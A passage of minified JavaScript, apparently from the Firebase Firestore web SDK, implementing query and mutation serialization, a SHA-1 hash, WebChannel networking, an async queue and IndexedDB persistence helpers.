t.precondition.isNone||(e.currentDocument=this.toPrecondition(t.precondition)),e},t.prototype.fromMutation=function(t){var e=this,n=t.currentDocument?this.fromPrecondition(t.currentDocument):Bi.NONE;if(t.update){Oo(t.update.name,"name");var r=this.fromName(t.update.name),i=this.fromFields(t.update.fields||{});if(t.updateMask){var o=this.fromDocumentMask(t.updateMask);return new Ki(r,i,o,n)}return new Qi(r,i,n)}if(t.delete){r=this.fromName(t.delete);return new ji(r,n)}if(t.transform){r=this.fromName(t.transform.document);var s=t.transform.fieldTransforms.map(function(t){return e.fromFieldTransform(t)});return Zn(!0===n.exists,'Transforms only support precondition "exists == true"'),new Wi(r,s)}return $n("unknown mutation proto: "+JSON.stringify(t))},t.prototype.toPrecondition=function(t){return Zn(!t.isNone,"Can't serialize an empty precondition"),void 0!==t.updateTime?{updateTime:this.toVersion(t.updateTime)}:void 0!==t.exists?{exists:t.exists}:$n("Unknown precondition")},t.prototype.fromPrecondition=function(t){return void 0!==t.updateTime?Bi.updateTime(this.fromVersion(t.updateTime)):void 0!==t.exists?Bi.exists(t.exists):Bi.NONE},t.prototype.fromWriteResult=function(t,e){var n=this,r=t.updateTime?this.fromVersion(t.updateTime):this.fromVersion(e),i=null;return t.transformResults&&t.transformResults.length>0&&(i=t.transformResults.map(function(t){return n.fromValue(t)})),new Vi(r,i)},t.prototype.fromWriteResults=function(t,e){var n=this;return t&&t.length>0?(Zn(void 0!==e,"Received a write result without a commit time"),t.map(function(t){return n.fromWriteResult(t,e)})):[]},t.prototype.toFieldTransform=function(t){var e=this,n=t.transform;if(n instanceof Gi)return{fieldPath:t.field.canonicalString(),setToServerValue:"REQUEST_TIME"};if(n instanceof zi)return{fieldPath:t.field.canonicalString(),appendMissingElements:{values:n.elements.map(function(t){return e.toValue(t)})}};if(n instanceof Hi)return{fieldPath:t.field.canonicalString(),removeAllFromArray:{values:n.elements.map(function(t){return e.toValue(t)})}};throw $n("Unknown transform: "+t.transform)},t.prototype.fromFieldTransform=function(t){var e=this,n=t.transform_type,r=null;if(Lo(t,n,"setToServerValue"))Zn("REQUEST_TIME"===t.setToServerValue,"Unknown server value transform proto: "+JSON.stringify(t)),r=Gi.instance;else if(Lo(t,n,"appendMissingElements")){var i=t.appendMissingElements.values||[];r=new zi(i.map(function(t){return e.fromValue(t)}))}else if(Lo(t,n,"removeAllFromArray")){i=t.removeAllFromArray.values||[];r=new Hi(i.map(function(t){return e.fromValue(t)}))}else $n("Unknown transform proto: "+JSON.stringify(t));var o=Wr.fromServerFormat(t.fieldPath);return new Fi(o,r)},t.prototype.toDocumentsTarget=function(t){return{documents:[this.toQueryPath(t.path)]}},t.prototype.fromDocumentsTarget=function(t){var e=t.documents.length;Zn(1===e,"DocumentsTarget contained other than 1 document: "+e);var n=t.documents[0];return Ei.atPath(this.fromQueryPath(n))},t.prototype.toQueryTarget=function(t){var e={structuredQuery:{}};if(t.path.isEmpty())e.parent=this.toQueryPath(Qr.EMPTY_PATH);else{var n=t.path;Zn(n.length%2!=0,"Document queries with filters are not supported."),e.parent=this.toQueryPath(n.popLast()),e.structuredQuery.from=[{collectionId:n.lastSegment()}]}var r=this.toFilter(t.filters);r&&(e.structuredQuery.where=r);var i=this.toOrder(t.orderBy);i&&(e.structuredQuery.orderBy=i);var o=this.toInt32Value(t.limit);return void 0!==o&&(e.structuredQuery.limit=o),t.startAt&&(e.structuredQuery.startAt=this.toCursor(t.startAt)),t.endAt&&(e.structuredQuery.endAt=this.toCursor(t.endAt)),e},t.prototype.fromQueryTarget=function(t){var e=this.fromQueryPath(t.parent),n=t.structuredQuery,r=n.from?n.from.length:0;if(r>0){Zn(1===r,"StructuredQuery.from with more than one collection is not supported.");var i=n.from[0];e=e.child(i.collectionId)}var o=[];n.where&&(o=this.fromFilter(n.where));var s=[];n.orderBy&&(s=this.fromOrder(n.orderBy));var a=null;n.limit&&(a=this.fromInt32Value(n.limit));var u=null;n.startAt&&(u=this.fromCursor(n.startAt));var c=null;return n.endAt&&(c=this.fromCursor(n.endAt)),new Ei(e,s,o,a,u,c)},t.prototype.toListenRequestLabels=function(t){var e=this.toLabel(t.purpose);return null==e?null:{"goog-listen-tags":e}},t.prototype.toLabel=function(t){switch(t){case Si.Listen:return null;case Si.ExistenceFilterMismatch:return"existence-filter-mismatch";case Si.LimboResolution:return"limbo-document";default:return $n("Unrecognized query purpose: "+t)}},t.prototype.toTarget=function(t){var e,n=t.query;return(e=n.isDocumentQuery()?{documents:this.toDocumentsTarget(n)}:{query:this.toQueryTarget(n)}).targetId=t.targetId,t.resumeToken.length>0&&(e.resumeToken=this.unsafeCastProtoByteString(t.resumeToken)),e},t.prototype.toFilter=function(t){var e=this;if(0!==t.length){var n=t.map(function(t){return t instanceof Di?e.toRelationFilter(t):e.toUnaryFilter(t)});return 1===n.length?n[0]:{compositeFilter:{op:"AND",filters:n}}}},t.prototype.fromFilter=function(t){var e=this;return t?void 0!==t.unaryFilter?[this.fromUnaryFilter(t)]:void 0!==t.fieldFilter?[this.fromRelationFilter(t)]:void 0!==t.compositeFilter?t.compositeFilter.filters.map(function(t){return e.fromFilter(t)}).reduce(function(t,e){return t.concat(e)}):$n("Unknown filter: "+JSON.stringify(t)):[]},t.prototype.toOrder=function(t){var e=this;if(0!==t.length)return t.map(function(t){return e.toPropertyOrder(t)})},t.prototype.fromOrder=function(t){var e=this;return t.map(function(t){return e.fromPropertyOrder(t)})},t.prototype.toCursor=function(t){var e=this;return{before:t.before,values:t.position.map(function(t){return e.toValue(t)})}},t.prototype.fromCursor=function(t){var e=this,n=!!t.before,r=t.values.map(function(t){return e.fromValue(t)});return new Ri(r,n)},t.prototype.toDirection=function(t){return ko[t.name]},t.prototype.fromDirection=function(t){switch(t){case"ASCENDING":return ki.ASCENDING;case"DESCENDING":return ki.DESCENDING;default:return}},t.prototype.toOperatorName=function(t){return Ro[t.name]},t.prototype.fromOperatorName=function(t){switch(t){case"EQUAL":return Ci.EQUAL;case"GREATER_THAN":return Ci.GREATER_THAN;case"GREATER_THAN_OR_EQUAL":return Ci.GREATER_THAN_OR_EQUAL;case"LESS_THAN":return Ci.LESS_THAN;case"LESS_THAN_OR_EQUAL":return Ci.LESS_THAN_OR_EQUAL;case"ARRAY_CONTAINS":return Ci.ARRAY_CONTAINS;case"OPERATOR_UNSPECIFIED":return $n("Unspecified relation");default:return $n("Unknown relation")}},t.prototype.toFieldPathReference=function(t){return{fieldPath:t.canonicalString()}},t.prototype.fromFieldPathReference=function(t){return Wr.fromServerFormat(t.fieldPath)},t.prototype.toPropertyOrder=function(t){return{field:this.toFieldPathReference(t.field),direction:this.toDirection(t.dir)}},t.prototype.fromPropertyOrder=function(t){return new Mi(this.fromFieldPathReference(t.field),this.fromDirection(t.direction))},t.prototype.toRelationFilter=function(t){return t instanceof Di?{fieldFilter:{field:this.toFieldPathReference(t.field),op:this.toOperatorName(t.op),value:this.toValue(t.value)}}:$n("Unrecognized filter: "+JSON.stringify(t))},t.prototype.fromRelationFilter=function(t){return new Di(this.fromFieldPathReference(t.fieldFilter.field),this.fromOperatorName(t.fieldFilter.op),this.fromValue(t.fieldFilter.value))},t.prototype.toUnaryFilter=function(t){return t instanceof Ai?{unaryFilter:{field:this.toFieldPathReference(t.field),op:"IS_NAN"}}:t instanceof Ni?{unaryFilter:{field:this.toFieldPathReference(t.field),op:"IS_NULL"}}:$n("Unrecognized filter: "+JSON.stringify(t))},t.prototype.fromUnaryFilter=function(t){switch(t.unaryFilter.op){case"IS_NAN":var e=this.fromFieldPathReference(t.unaryFilter.field);return new Ai(e);case"IS_NULL":var n=this.fromFieldPathReference(t.unaryFilter.field);return new Ni(n);case"OPERATOR_UNSPECIFIED":return $n("Unspecified filter");default:return $n("Unknown filter")}},t.prototype.toDocumentMask=function(t){return{fieldPaths:t.fields.map(function(t){return t.canonicalString()})}},t.prototype.fromDocumentMask=function(t){var e=(t.fieldPaths||[]).map(function(t){return Wr.fromServerFormat(t)});return new qi(e)},t}();function Lo(t,e,n){return e===n||!e&&n in t}var xo="FirebaseError",qo=Error.captureStackTrace,Fo=function(){return function(t,e){if(this.code=t,this.message=e,qo)qo(this,Vo.prototype.create);else try{throw Error.apply(this,arguments)}catch(t){this.name=xo,Object.defineProperty(this,"stack",{get:function(){return t.stack}})}}}();Fo.prototype=Object.create(Error.prototype),Fo.prototype.constructor=Fo,Fo.prototype.name=xo;var Vo=function(){function t(t,e,n){this.service=t,this.serviceName=e,this.errors=n,this.pattern=/\{\$([^}]+)}/g}return t.prototype.create=function(t,e){void 0===e&&(e={});var n,r=this.errors[t],i=this.service+"/"+t;n=void 0===r?"Error":r.replace(this.pattern,function(t,n){var r=e[n];return void 0!==r?r.toString():"<"+n+"?>"}),n=this.serviceName+": "+n+" ("+i+").";var o=new Fo(i,n);for(var s in e)e.hasOwnProperty(s)&&"_"!==s.slice(-1)&&(o[s]=e[s]);return o},t}(),Bo=(function(t){function e(){var e=t.call(this)||this;e.chain_=[],e.buf_=[],e.W_=[],e.pad_=[],e.inbuf_=0,e.total_=0,e.blockSize=64,e.pad_[0]=128;for(var n=1;n<e.blockSize;++n)e.pad_[n]=0;return e.reset(),e}a(e,t),e.prototype.reset=function(){this.chain_[0]=1732584193,this.chain_[1]=4023233417,this.chain_[2]=2562383102,this.chain_[3]=271733878,this.chain_[4]=3285377520,this.inbuf_=0,this.total_=0},e.prototype.compress_=function(t,e){e||(e=0);var n=this.W_;if("string"==typeof t)for(var r=0;r<16;r++)n[r]=t.charCodeAt(e)<<24|t.charCodeAt(e+1)<<16|t.charCodeAt(e+2)<<8|t.charCodeAt(e+3),e+=4;else for(r=0;r<16;r++)n[r]=t[e]<<24|t[e+1]<<16|t[e+2]<<8|t[e+3],e+=4;for(r=16;r<80;r++){var i=n[r-3]^n[r-8]^n[r-14]^n[r-16];n[r]=4294967295&(i<<1|i>>>31)}var o,s,a=this.chain_[0],u=this.chain_[1],c=this.chain_[2],h=this.chain_[3],l=this.chain_[4];for(r=0;r<80;r++){r<40?r<20?(o=h^u&(c^h),s=1518500249):(o=u^c^h,s=1859775393):r<60?(o=u&c|h&(u|c),s=2400959708):(o=u^c^h,s=3395469782);i=(a<<5|a>>>27)+o+l+s+n[r]&4294967295;l=h,h=c,c=4294967295&(u<<30|u>>>2),u=a,a=i}this.chain_[0]=this.chain_[0]+a&4294967295,this.chain_[1]=this.chain_[1]+u&4294967295,this.chain_[2]=this.chain_[2]+c&4294967295,this.chain_[3]=this.chain_[3]+h&4294967295,this.chain_[4]=this.chain_[4]+l&4294967295},e.prototype.update=function(t,e){if(null!=t){void 0===e&&(e=t.length);for(var n=e-this.blockSize,r=0,i=this.buf_,o=this.inbuf_;r<e;){if(0==o)for(;r<=n;)this.compress_(t,r),r+=this.blockSize;if("string"==typeof t){for(;r<e;)if(i[o]=t.charCodeAt(r),++r,++o==this.blockSize){this.compress_(i),o=0;break}}else for(;r<e;)if(i[o]=t[r],++r,++o==this.blockSize){this.compress_(i),o=0;break}}this.inbuf_=o,this.total_+=e}},e.prototype.digest=function(){var t=[],e=8*this.total_;this.inbuf_<56?this.update(this.pad_,56-this.inbuf_):this.update(this.pad_,this.blockSize-(this.inbuf_-56));for(var n=this.blockSize-1;n>=56;n--)this.buf_[n]=255&e,e/=256;this.compress_(this.buf_);var r=0;for(n=0;n<5;n++)for(var i=24;i>=0;i-=8)t[r]=this.chain_[n]>>i&255,++r;return t}}(function(){return function(){this.blockSize=-1}}()),function(){function t(t){this.sendFn=t.sendFn,this.closeFn=t.closeFn}return t.prototype.onOpen=function(t){Zn(!this.wrappedOnOpen,"Called onOpen on stream twice!"),this.wrappedOnOpen=t},t.prototype.onClose=function(t){Zn(!this.wrappedOnClose,"Called onClose on stream twice!"),this.wrappedOnClose=t},t.prototype.onMessage=function(t){Zn(!this.wrappedOnMessage,"Called onMessage on stream twice!"),this.wrappedOnMessage=t},t.prototype.close=function(){this.closeFn()},t.prototype.send=function(t){this.sendFn(t)},t.prototype.callOnOpen=function(){Zn(void 0!==this.wrappedOnOpen,"Cannot call onOpen because no callback was set"),this.wrappedOnOpen()},t.prototype.callOnClose=function(t){Zn(void 0!==this.wrappedOnClose,"Cannot call onClose because no callback was set"),this.wrappedOnClose(t)},t.prototype.callOnMessage=function(t){Zn(void 0!==this.wrappedOnMessage,"Cannot call onMessage because no callback was set"),this.wrappedOnMessage(t)},t}()),Uo="Connection",Qo={BatchGetDocuments:"batchGet",Commit:"commit"},Ko="gl-js/ fire/"+jn,Wo=function(){function t(t){this.databaseId=t.databaseId,this.pool=new Wn;var e=t.ssl?"https":"http";this.baseUrl=e+"://"+t.host}return t.prototype.modifyHeadersForRequest=function(t,e){if(e)for(var n in e.authHeaders)e.authHeaders.hasOwnProperty(n)&&(t[n]=e.authHeaders[n]);t["X-Goog-Api-Client"]=Ko},t.prototype.invokeRPC=function(t,e,n){var r=this,i=this.makeUrl(t);return new Promise(function(o,s){r.pool.getObject(function(a){a.listenOnce(Qn.COMPLETE,function(){try{switch(a.getLastErrorCode()){case Un.NO_ERROR:var e=a.getResponseJson();Xn(Uo,"XHR received:",JSON.stringify(e)),o(e);break;case Un.TIMEOUT:Xn(Uo,'RPC "'+t+'" timed out'),s(new rr(nr.DEADLINE_EXCEEDED,"Request time out"));break;case Un.HTTP_ERROR:var n=a.getStatus();Xn(Uo,'RPC "'+t+'" failed with status:',n,"response text:",a.getResponseText()),n>0?s(new rr(function(t){switch(t){case 200:return nr.OK;case 400:return nr.INVALID_ARGUMENT;case 401:return nr.UNAUTHENTICATED;case 403:return nr.PERMISSION_DENIED;case 404:return nr.NOT_FOUND;case 409:return nr.ABORTED;case 416:return nr.OUT_OF_RANGE;case 429:return nr.RESOURCE_EXHAUSTED;case 499:return nr.CANCELLED;case 500:return nr.UNKNOWN;case 501:return nr.UNIMPLEMENTED;case 503:return nr.UNAVAILABLE;case 504:return nr.DEADLINE_EXCEEDED;default:return t>=200&&t<300?nr.OK:t>=400&&t<500?nr.FAILED_PRECONDITION:t>=500&&t<600?nr.INTERNAL:nr.UNKNOWN}}(n),"Server responded with status "+a.getStatusText())):(Xn(Uo,'RPC "'+t+'" failed'),s(new rr(nr.UNAVAILABLE,"Connection failed.")));break;default:$n('RPC "'+t+'" failed with unanticipated webchannel error '+a.getLastErrorCode()+": "+a.getLastError()+", giving up.")}}finally{Xn(Uo,'RPC "'+t+'" completed.'),r.pool.releaseObject(a)}});var u=JSON.stringify(e);Xn(Uo,"XHR sending: ",i+" "+u);var c={"Content-Type":"text/plain"};r.modifyHeadersForRequest(c,n),a.send(i,"POST",u,c,15)})})},t.prototype.invokeStreamingRPC=function(t,e,n){return this.invokeRPC(t,e,n)},t.prototype.openStream=function(t,e){var n=[this.baseUrl,"/","google.firestore.v1beta1.Firestore","/",t,"/channel"],r=Bn(),i={backgroundChannelTest:!0,httpSessionIdParam:"gsessionid",initMessageHeaders:{},messageUrlParams:{database:"projects/"+this.databaseId.projectId+"/databases/"+this.databaseId.database},sendRawJson:!0,supportsCrossDomainXhr:!0};this.modifyHeadersForRequest(i.initMessageHeaders,e),"object"==typeof navigator&&"ReactNative"===navigator.product||(i.httpHeadersOverwriteParam="$httpHeaders");var o=n.join("");Xn(Uo,"Creating WebChannel: "+o+" "+i);var s=r.createWebChannel(o,i),a=!1,u=!1,c=new Bo({sendFn:function(t){u?Xn(Uo,"Not sending because WebChannel is closed:",t):(a||(Xn(Uo,"Opening WebChannel transport."),s.open(),a=!0),Xn(Uo,"WebChannel sending:",t),s.send(t))},closeFn:function(){return s.close()}}),h=function(t,e){s.listen(t,function(t){try{e(t)}catch(t){setTimeout(function(){throw t},0)}})};return h(Kn.EventType.OPEN,function(){u||Xn(Uo,"WebChannel transport opened.")}),h(Kn.EventType.CLOSE,function(){u||(u=!0,Xn(Uo,"WebChannel transport closed"),c.callOnClose())}),h(Kn.EventType.ERROR,function(t){u||(u=!0,Xn(Uo,"WebChannel transport errored:",t),c.callOnClose(new rr(nr.UNAVAILABLE,"The operation could not be completed")))}),h(Kn.EventType.MESSAGE,function(t){if(!u){var e=t.data[0];Zn(!!e,"Got a webchannel message without data.");var n=e.error||e[0]&&e[0].error;if(n){Xn(Uo,"WebChannel received error:",n);var r=n.status,i=function(t){var e=Yi[t];if(void 0!==e)return Zi(e)}(r),o=n.message;void 0===i&&(i=nr.INTERNAL,o="Unknown error status: "+r+" with message "+n.message),u=!0,c.callOnClose(new rr(i,o)),s.close()}else Xn(Uo,"WebChannel received:",e),c.callOnMessage(e)}}),setTimeout(function(){c.callOnOpen()},0),c},t.prototype.makeUrl=function(t){var e=Qo[t];Zn(void 0!==e,"Unknown REST mapping for: "+t);var n=[this.baseUrl,"/","v1beta1"];return n.push("/projects/"),n.push(this.databaseId.projectId),n.push("/databases/"),n.push(this.databaseId.database),n.push("/documents"),n.push(":"),n.push(e),n.join("")},t}(),jo=function(){function t(){this.emptyByteString="",this.base64Available="undefined"!=typeof atob}return Object.defineProperty(t.prototype,"document",{get:function(){return"undefined"!=typeof document?document:null},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,"window",{get:function(){return"undefined"!=typeof window?window:null},enumerable:!0,configurable:!0}),t.prototype.loadConnection=function(t){return Promise.resolve(new Wo(t))},t.prototype.newSerializer=function(t){return new _o(t,{useProto3Json:!0})},t.prototype.formatJSON=function(t){return JSON.stringify(t)},t.prototype.atob=function(t){return atob(t)},t.prototype.btoa=function(t){return btoa(t)},t}();tr.setPlatform(new jo);var Go,zo=function(){function t(t,e){var n=this;this.previousValue=t,e&&(e.sequenceNumberHandler=function(t){return n.setPreviousValue(t)},this.writeNewSequenceNumber=function(t){return e.writeSequenceNumber(t)})}return t.prototype.setPreviousValue=function(t){return this.previousValue=Math.max(t,this.previousValue),this.previousValue},t.prototype.next=function(){var t=++this.previousValue;return this.writeNewSequenceNumber&&this.writeNewSequenceNumber(t),t},t.INVALID=-1,t}(),Ho=function(){return function(){var t=this;this.promise=new Promise(function(e,n){t.resolve=e,t.reject=n})}}();!function(t){t.All="all",t.ListenStreamIdle="listen_stream_idle",t.ListenStreamConnectionBackoff="listen_stream_connection_backoff",t.WriteStreamIdle="write_stream_idle",t.WriteStreamConnectionBackoff="write_stream_connection_backoff",t.OnlineStateTimeout="online_state_timeout",t.ClientMetadataRefresh="client_metadata_refresh"}(Go||(Go={}));var Xo=function(){function t(t,e,n,r,i){this.asyncQueue=t,this.timerId=e,this.targetTimeMs=n,this.op=r,this.removalCallback=i,this.deferred=new Ho,this.then=this.deferred.promise.then.bind(this.deferred.promise),this.catch=this.deferred.promise.catch.bind(this.deferred.promise),this.deferred.promise.catch(function(t){})}return t.createAndSchedule=function(e,n,r,i,o){var s=new t(e,n,Date.now()+r,i,o);return s.start(r),s},t.prototype.start=function(t){var e=this;this.timerHandle=setTimeout(function(){return e.handleDelayElapsed()},t)},t.prototype.skipDelay=function(){return this.handleDelayElapsed()},t.prototype.cancel=function(t){null!==this.timerHandle&&(this.clearTimeout(),this.deferred.reject(new rr(nr.CANCELLED,"Operation cancelled"+(t?": "+t:""))))},t.prototype.handleDelayElapsed=function(){var t=this;this.asyncQueue.enqueueAndForget(function(){return null!==t.timerHandle?(t.clearTimeout(),t.op().then(function(e){return t.deferred.resolve(e)})):Promise.resolve()})},t.prototype.clearTimeout=function(){null!==this.timerHandle&&(this.removalCallback(this),clearTimeout(this.timerHandle),this.timerHandle=null)},t}(),Yo=function(){function t(){this.tail=Promise.resolve(),this.delayedOperations=[],this.operationInProgress=!1}return t.prototype.enqueueAndForget=function(t){this.enqueue(t)},t.prototype.enqueue=function(t){var e=this;this.verifyNotFailed();var n=this.tail.then(function(){return e.operationInProgress=!0,t().catch(function(t){e.failure=t,e.operationInProgress=!1;var n=t.stack||t.message||"";throw Yn("INTERNAL UNHANDLED ERROR: ",n),n.indexOf("Firestore Test Simulated Error")<0&&setTimeout(function(){throw t},0),t}).then(function(t){return e.operationInProgress=!1,t})});return this.tail=n,n},t.prototype.enqueueAfterDelay=function(t,e,n){var r=this;this.verifyNotFailed(),Zn(e>=0,"Attempted to schedule an operation with a negative delay of "+e),Zn(!this.containsDelayedOperation(t),"Attempted to schedule multiple operations with timer id "+t+".");var i=Xo.createAndSchedule(this,t,e,n,function(t){return r.removeDelayedOperation(t)});return this.delayedOperations.push(i),i},t.prototype.verifyNotFailed=function(){this.failure&&$n("AsyncQueue is already failed: "+(this.failure.stack||this.failure.message))},t.prototype.verifyOperationInProgress=function(){Zn(this.operationInProgress,"verifyOpInProgress() called when no op in progress on this queue.")},t.prototype.drain=function(){return this.enqueue(function(){return Promise.resolve()})},t.prototype.containsDelayedOperation=function(t){return this.delayedOperations.findIndex(function(e){return e.timerId===t})>=0},t.prototype.runDelayedOperationsEarly=function(t){var e=this;return this.drain().then(function(){Zn(t===Go.All||e.containsDelayedOperation(t),"Attempted to drain to missing operation "+t),e.delayedOperations.sort(function(t,e){return t.targetTimeMs-e.targetTimeMs});for(var n=0,r=e.delayedOperations;n<r.length;n++){var i=r[n];if(i.skipDelay(),t!==Go.All&&i.timerId===t)break}return e.drain()})},t.prototype.removeDelayedOperation=function(t){var e=this.delayedOperations.indexOf(t);Zn(e>=0,"Delayed operation not found."),this.delayedOperations.splice(e,1)},t}(),Jo="
",$o="
",Zo="
",ts="
";function es(t){for(var e="",n=0;n<t.length;n++)e.length>0&&(e=rs(e)),e=ns(t.get(n),e);return rs(e)}function ns(t,e){for(var n=e,r=t.length,i=0;i<r;i++){var o=t.charAt(i);switch(o){case"\0":n+=Jo+Zo;break;case Jo:n+=Jo+ts;break;default:n+=o}}return n}function rs(t){return t+Jo+$o}function is(t){var e=t.length;if(Zn(e>=2,"Invalid path "+t),2===e)return Zn(t.charAt(0)===Jo&&t.charAt(1)===$o,"Non-empty path "+t+" had length 2"),Qr.EMPTY_PATH;for(var n=e-2,r=[],i="",o=0;o<e;){var s=t.indexOf(Jo,o);switch((s<0||s>n)&&$n('Invalid encoded resource path: "'+t+'"'),t.charAt(s+1)){case $o:var a=t.substring(o,s),u=void 0;0===i.length?u=a:(u=i+=a,i=""),r.push(u);break;case Zo:i+=t.substring(o,s),i+="\0";break;case ts:i+=t.substring(o,s+1);break;default:$n('Invalid encoded resource path: "'+t+'"')}o=s+2}return new Qr(r)}var os=-1,ss=function(){function t(t,e,n){this.batchId=t,this.localWriteTime=e,this.mutations=n}return t.prototype.applyToRemoteDocument=function(t,e,n){e&&Zn(e.key.isEqual(t),"applyToRemoteDocument: key "+t+" should match maybeDoc key\n        "+e.key);var r=n.mutationResults;Zn(r.length===this.mutations.length,"Mismatch between mutations length\n      ("+this.mutations.length+") and mutation results length\n      ("+r.length+").");for(var i=0;i<this.mutations.length;i++){var o=this.mutations[i];if(o.key.isEqual(t)){var s=r[i];e=o.applyToRemoteDocument(e,s)}}return e},t.prototype.applyToLocalView=function(t,e){e&&Zn(e.key.isEqual(t),"applyToLocalDocument: key "+t+" should match maybeDoc key\n        "+e.key);for(var n=e,r=0;r<this.mutations.length;r++){var i=this.mutations[r];i.key.isEqual(t)&&(e=i.applyToLocalView(e,n,this.localWriteTime))}return e},t.prototype.keys=function(){for(var t=uo(),e=0,n=this.mutations;e<n.length;e++){var r=n[e];t=t.add(r.key)}return t},t.prototype.isEqual=function(t){return this.batchId===t.batchId&&kr(this.mutations,t.mutations)},t.prototype.isTombstone=function(){return 0===this.mutations.length},t.prototype.toTombstone=function(){return new t(this.batchId,this.localWriteTime,[])},t}(),as=function(){function t(t,e,n,r,i){this.batch=t,this.commitVersion=e,this.mutationResults=n,this.streamToken=r,this.docVersions=i}return t.from=function(e,n,r,i){Zn(e.mutations.length===r.length,"Mutations sent "+e.mutations.length+" must equal results received "+r.length);for(var o=so(),s=e.mutations,a=0;a<s.length;a++)o=o.insert(s[a].key,r[a].version);return new t(e,n,r,i,o)},t}(),us=function(){function t(t){var e=this;this.nextCallback=null,this.catchCallback=null,this.result=void 0,this.error=void 0,this.isDone=!1,this.callbackAttached=!1,t(function(t){e.isDone=!0,e.result=t,e.nextCallback&&e.nextCallback(t)},function(t){e.isDone=!0,e.error=t,e.catchCallback&&e.catchCallback(t)})}return t.prototype.catch=function(t){return this.next(void 0,t)},t.prototype.next=function(e,n){var r=this;return this.callbackAttached&&$n("Called next() or catch() twice for PersistencePromise"),this.callbackAttached=!0,this.isDone?this.error?this.wrapFailure(n,this.error):this.wrapSuccess(e,this.result):new t(function(t,i){r.nextCallback=function(n){r.wrapSuccess(e,n).next(t,i)},r.catchCallback=function(e){r.wrapFailure(n,e).next(t,i)}})},t.prototype.toPromise=function(){var t=this;return new Promise(function(e,n){t.next(e,n)})},t.prototype.wrapUserFunction=function(e){try{var n=e();return n instanceof t?n:t.resolve(n)}catch(e){return t.reject(e)}},t.prototype.wrapSuccess=function(e,n){return e?this.wrapUserFunction(function(){return e(n)}):t.resolve(n)},t.prototype.wrapFailure=function(e,n){return e?this.wrapUserFunction(function(){return e(n)}):t.reject(n)},t.resolve=function(e){return new t(function(t,n){t(e)})},t.reject=function(e){return new t(function(t,n){n(e)})},t.waitFor=function(e){var n=e[Symbol.iterator]();return new t(function(t,e){for(var r=0,i=0,o=n.next();!o.done;)++r,o.value.next(function(){++i,o.done&&i===r&&t()},function(t){return e(t)}),o=n.next();i===r&&t()})},t.map=function(e){for(var n=[],r=[],i=e[Symbol.iterator](),o=i.next(),s=0,a=function(){var t=o.value,e=s;r.push(t.next(function(t){n[e]=t})),o=i.next(),++s};!o.done;)a();return t.waitFor(r).next(function(){return n})},t.or=function(e){for(var n=t.resolve(!1),r=function(e){n=n.next(function(n){return n?t.resolve(n):e()})},i=0,o=e;i<o.length;i++){r(o[i])}return n},t.forEach=function(t,e){for(var n=t[Symbol.iterator](),r=[],i=n.next();!i.done;){var o=i.value;r.push(e(o)),i=n.next()}return this.waitFor(r)},t}(),cs=function(){function t(t){this.mapKeyFn=t,this.inner={}}return t.prototype.get=function(t){var e=this.mapKeyFn(t),n=this.inner[e];if(void 0!==n)for(var r=0,i=n;r<i.length;r++){var o=i[r],s=o[0],a=o[1];if(s.isEqual(t))return a}},t.prototype.has=function(t){return void 0!==this.get(t)},t.prototype.set=function(t,e){var n=this.mapKeyFn(t),r=this.inner[n];if(void 0!==r){for(var i=0;i<r.length;i++)if(r[i][0].isEqual(t))return void(r[i]=[t,e]);r.push([t,e])}else this.inner[n]=[[t,e]]},t.prototype.delete=function(t){var e=this.mapKeyFn(t),n=this.inner[e];if(void 0===n)return!1;for(var r=0;r<n.length;r++)if(n[r][0].isEqual(t))return 1===n.length?delete this.inner[e]:n.splice(r,1),!0;return!1},t.prototype.forEach=function(t){ur(this.inner,function(e,n){for(var r=0,i=n;r<i.length;r++){var o=i[r],s=o[0],a=o[1];t(s,a)}})},t.prototype.isEmpty=function(){return cr(this.inner)},t.prototype[Symbol.iterator]=function(){var t=[];return this.forEach(function(e,n){return t.push({key:e,value:n})}),t[Symbol.iterator]()},t}(),hs=function(){function t(){this.changes=no(),this.documentSizes=new cs(function(t){return t.toString()})}return t.prototype.addEntry=function(t){var e=this.assertChanges();this.changes=e.insert(t.key,t)},t.prototype.getEntry=function(t,e){var n=this,r=this.assertChanges().get(e);return r?us.resolve(r):this.getFromCache(t,e).next(function(t){return null===t?(n.documentSizes.set(e,0),null):(n.documentSizes.set(e,t.size),t.maybeDocument)})},t.prototype.apply=function(t){var e=this.applyChanges(t);return this.changes=null,e},t.prototype.assertChanges=function(){return Zn(null!==this.changes,"Changes have already been applied."),this.changes},t}(),ls=function(){function t(t){this.db=t}return t.openOrCreate=function(e,n,r){return Zn(t.isAvailable(),"IndexedDB not supported in current environment."),Xn("SimpleDb","Opening database:",e),new us(function(i,o){var s=window.indexedDB.open(e,n);s.onsuccess=function(e){var n=e.target.result;i(new t(n))},s.onblocked=function(){o(new rr(nr.FAILED_PRECONDITION,"Cannot upgrade IndexedDB schema while another tab is open. Close all tabs that access Firestore and reload this page to proceed."))},s.onerror=function(t){o(t.target.error)},s.onupgradeneeded=function(t){Xn("SimpleDb",'Database "'+e+'" requires upgrade from version:',t.oldVersion);var n=t.target.result,i=new ds(s.transaction);r.createOrUpgrade(n,i,t.oldVersion,Is).next(function(){Xn("SimpleDb","Database upgrade to version "+Is+" complete")})}}).toPromise()},t.delete=function(t){return Xn("SimpleDb","Removing database:",t),ms(window.indexedDB.deleteDatabase(t)).toPromise()},t.isAvailable=function(){if("undefined"==typeof window||null==window.indexedDB)return!1;if(void 0===window.navigator)return"YES"===process.env.USE_MOCK_PERSISTENCE;var t=window.navigator.userAgent;return!(t.indexOf("MSIE ")>0||t.indexOf("Trident/")>0||t.indexOf("Edge/")>0)},t.getStore=function(t,e){return t.store(e)},t.prototype.runTransaction=function(t,e,n){var r=ds.open(this.db,t,e),i=n(r).catch(function(t){r.abort(t)}).toPromise();return r.completionPromise.then(function(){return i})},t.prototype.close=function(){this.db.close()},t}(),fs=function(){function t(t){this.dbCursor=t,this.shouldStop=!1,this.nextKey=null}return Object.defineProperty(t.prototype,"isDone",{get:function(){return this.shouldStop},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,"skipToKey",{get:function(){return this.nextKey},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,"cursor",{set:function(t){this.dbCursor=t},enumerable:!0,configurable:!0}),t.prototype.done=function(){this.shouldStop=!0},t.prototype.skip=function(t){this.nextKey=t},t.prototype.delete=function(){return ms(this.dbCursor.delete())},t}(),ds=function(){function t(t){var e=this;this.transaction=t,this.aborted=!1,this.completionDeferred=new 